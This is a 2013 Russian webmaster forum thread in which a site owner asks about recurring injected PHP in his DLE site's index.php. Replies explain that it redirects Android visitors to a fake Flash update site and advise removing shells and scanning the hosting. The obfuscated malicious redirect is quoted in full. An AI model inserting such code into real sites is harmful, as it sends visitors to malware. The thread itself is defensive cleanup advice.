Подскажите что за код!?

12
Web-lomaster
На сайте с 26.08.2012
Offline
107
810

Нужна ваша помощь, у меня на одном сайте DLE в файле index.php постоянно появляется код

if(strchr($_SERVER['H'.'TTP_'.'US'.'ER_A'.'GE'.'NT'],'An'.'dr'.'oid'))
{header('Loc'.'ation: ht'.'tp:/'.'/ref'.'resh-b'.'rowse'.'r.00'.'xf'.'f.net/');die();}

Я его удаляю он снова появляется через некоторое время. Подскажите, за что он отвечает? Уже ставил все возможные заплаитки и менял пароли, но сцука все равно вылазиет.

✔ Белая монетизация вашего трафика оффер Медиагет (http://goo.gl/dYsuIP) 3.5 руб за установку. Никаких пряток, санкций и фильтров!
fatalisu
На сайте с 28.12.2011
Offline
104
#1

зловредный код в index.php, engine.php и init.php. Стоит редирект для андроидов

An'.'dr'.'oid'))
Болею за Олимпиаду в Сочи......Лучший VK месседж (http://ege.do.am/go?http://u.to/IgBkAg)
maldivec
На сайте с 04.11.2008
Offline
160
#2

Этот код редиректит всех пользователей с андроидом на сайт refresh-browser.00xff.net

Чистите сайт от шеллов, ищите дыры.

TitanIKS
На сайте с 25.01.2013
Offline
46
#3

Редиректит на сайт с обновлением Flash Player

fatalisu
На сайте с 28.12.2011
Offline
104
#4

просто зашифрован

---------- Post added 12-03-2013 at 08:41 ----------

google.ru/search?ie=UTF-8&hl=ru&q=%7Bheader('Loc'.'ation%3A%20ht'.'tp%3A%2F'.'%2Fref'.'resh-b'.'rowse'.'r.00'.'xf'.'f.net%2F')%3Bdie()%3B%7D

вот можете ознакомиться ,у вас не у одного такой код

Web-lomaster
На сайте с 26.08.2012
Offline
107
#5
fatalisu:
зловредный код в index.php, engine.php и init.php. Стоит редирект для андроидов

У меня этот код только в index.php

---------- Добавлено 12.03.2013 в 09:17 ----------

maldivec:

Чистите сайт от шеллов, ищите дыры.

Не подскажите как? Шелы пробовал искать ативирусом, который в движке, но он ничего не нашел.

6666
На сайте с 10.01.2005
Offline
505
#6

Вам сюда: /ru/forum/774117

качайте айболит, заливайте движки на все сайты, чистите домашний комп и все по списку, увы..

---------- Добавлено 12.03.2013 в 09:19 ----------

Web-lomaster:
У меня этот код только в index.php

просто Вы его только там нашли..

Каждое мое сообщение проверила и одобрила Елена Летучая. (c) Для меня очень важно все что Вы говорите! (http://surrealism.ru/123.mp3) .
Web-lomaster
На сайте с 26.08.2012
Offline
107
#7
6666:

просто Вы его только там нашли..

Я искал тоталом по совпадению, действительно, больше нигде нет.

6666
На сайте с 10.01.2005
Offline
505
#8
Web-lomaster:
больше нигде нет.

А сколько сайтов на хостинге?

fatalisu
На сайте с 28.12.2011
Offline
104
#9

если есть телефон, попробуйте зайти телфоном с гугла на свой сайт

и воспользуйтесь эмулятором оперы мини на компе

S
На сайте с 03.07.2009
Offline
41
#10

Редирект достаточно установить в корневом index.php, а вот сам код заливающий его туда будет иметь совершенно другой вид, поэтому воспользуйтесь советом 6666 и внимательно прочитайте тему /ru/forum/774117

Кодинг на PHP. Разработка расширений под Joomla.
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий